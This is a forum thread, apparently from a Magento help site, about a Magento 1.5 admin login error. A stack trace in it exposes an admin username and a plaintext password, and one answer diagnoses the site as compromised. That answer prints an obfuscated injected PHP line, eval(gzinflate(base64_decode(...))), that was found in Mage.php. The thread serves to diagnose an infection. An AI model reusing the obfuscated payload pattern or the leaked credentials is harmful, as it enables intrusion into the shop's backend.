a customer has a problem with his backend. Whenever i try to login the following error occure
i delete var/cache and var/session but nothing happend
Magento 1.5
There has been an error processing your request
Invalid method Mage_Admin_Model_Session::renewSession(Array
(
)
)
Trace:
#0 [internal function]: Varien_Object->__call('renewSession', Array)
#1 /var/www/vhosts/mydomain.com/httpdocs/app/code/core/Mage/Admin/Model/Session.php(116): Mage_Admin_Model_Session->renewSession()
#2 /var/www/vhosts/mydomain.com/httpdocs/app/code/core/Mage/Admin/Model/Observer.php(55): Mage_Admin_Model_Session->login('webkomadmin01', 'Webkom09#', Object(Mage_Core_Controller_Request_Http))
#3 /var/www/vhosts/mydomain.com/httpdocs/app/code/core/Mage/Core/Model/App.php(1265): Mage_Admin_Model_Observer->actionPreDispatchAdmin(Object(Varien_Event_Observer))
#4 /var/www/vhosts/mydomain.com/httpdocs/app/code/core/Mage/Core/Model/App.php(1246): Mage_Core_Model_App->_callObserverMethod(Object(Mage_Admin_Model_Observer), 'actionPreDispat...', Object(Varien_Event_Observer))
#5 /var/www/vhosts/mydomain.com/httpdocs/app/Mage.php(416): Mage_Core_Model_App->dispatchEvent('controller_acti...', Array)
#6 /var/www/vhosts/mydomain.com/httpdocs/app/code/core/Mage/Core/Controller/Varien/Action.php(502): Mage::dispatchEvent('controller_acti...', Array)
#7 /var/www/vhosts/mydomain.com/httpdocs/app/code/core/Mage/Adminhtml/Controller/Action.php(152): Mage_Core_Controller_Varien_Action->preDispatch()
#8 /var/www/vhosts/mydomain.com/httpdocs/app/code/core/Mage/Core/Controller/Varien/Action.php(407): Mage_Adminhtml_Controller_Action->preDispatch()
#9 /var/www/vhosts/mydomain.com/httpdocs/app/code/core/Mage/Core/Controller/Varien/Router/Standard.php(253): Mage_Core_Controller_Varien_Action->dispatch('index')
#10 /var/www/vhosts/mydomain.com/httpdocs/app/code/core/Mage/Core/Controller/Varien/Front.php(176): Mage_Core_Controller_Varien_Router_Standard->match(Object(Mage_Core_Controller_Request_Http))
#11 /var/www/vhosts/mydomain.com/httpdocs/app/code/core/Mage/Core/Model/App.php(340): Mage_Core_Controller_Varien_Front->dispatch()
#12 /var/www/vhosts/mydomain.com/httpdocs/app/Mage.php(627): Mage_Core_Model_App->run(Array)
#13 /var/www/vhosts/mydomain.com/httpdocs/index.php(80): Mage::run('', 'store')
#14 {main}
4
Answers
app/mage.php
@jinesh
please try to empty your browsers cache/session, and also try to clear your var/cache folders on your server.
1) add this code in media/.htaccess
Options -ExecCGI
Options +FollowSymLinks
RewriteEngine on
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule .* ../get.php [L]
2) Remove the following line in app/Mage.php line 152
3) add this following code in app/Mage.php line 152
Unfortunately its seems your clients site was compromised.
your mage.php shouldn’t contain line 2:
eval(gzinflate(base64_decode(‘DcxBCoAgEAXQveA50o3uK/IoIjLqgIySn+j49Q7wwnWG2aZW9KRuCneKlRDzEJBgma0Bc/f+HiKcVk5V2AnBs5SRs8OLzdpDq/BHHw==’)));
You can use http://ddecode.com/phpdecoder/?home to evaluate that code